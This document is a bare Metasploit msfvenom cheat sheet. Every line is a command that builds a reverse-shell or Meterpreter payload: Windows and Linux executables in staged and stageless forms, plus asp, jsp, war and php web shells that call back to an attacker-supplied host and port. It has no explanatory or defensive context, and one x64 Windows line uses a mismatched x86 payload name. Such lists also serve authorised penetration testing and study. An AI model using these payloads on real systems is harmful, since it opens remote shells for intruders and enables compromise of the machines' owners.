MSF Venom Payload Cheat Sheet

Non-Meterpreter Binaries

Staged Payloads for Windows

x86 msfvenom -p windows/shell/reverse_tcp LHOST= LPORT= -f exe > shell-x86.exe

x64 msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT= -f exe > shell-x64.exe

Stageless Payloads for Windows

x86 msfvenom -p windows/shell_reverse_tcp LHOST= LPORT= -f exe > shell-x86.exe

x64 msfvenom -p windows/shell_reverse_tcp LHOST= LPORT= -f exe > shell-x64.exe

Staged Payloads for Linux

x86 msfvenom -p linux/x86/shell/reverse_tcp LHOST= LPORT= -f elf > shell-x86.elf

x64 msfvenom -p linux/x64/shell/reverse_tcp LHOST= LPORT= -f elf > shell-x64.elf

Stageless Payloads for Linux

x86 msfvenom -p linux/x86/shell_reverse_tcp LHOST= LPORT= -f elf > shell-x86.elf

x64 msfvenom -p linux/x64/shell_reverse_tcp LHOST= LPORT= -f elf > shell-x64.elf

Non-Meterpreter Web Payloads

asp msfvenom -p windows/shell/reverse_tcp LHOST= LPORT= -f asp > shell.asp

jsp msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp

war msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war

php msfvenom -p php/reverse_php LHOST= LPORT= -f raw > shell.php

Meterpreter Binaries

Staged Payloads for Windows

x86 msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell-x86.exe

x64 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell-x64.exe

Stageless Payloads for Windows

x86 msfvenom -p windows/meterpreter_reverse_tcp LHOST= LPORT= -f exe > shell-x86.exe

x64 msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST= LPORT= -f exe > shell-x64.exe

Staged Payloads for Linux

x86 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell-x86.elf

x64 msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell-x64.elf

Stageless Payloads for Linux

x86 msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST= LPORT= -f elf > shell-x86.elf

x64 msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST= LPORT= -f elf > shell-x64.elf

Meterpreter Web Payloads

asp msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp

jsp msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > example.jsp

war msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > example.war

php msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php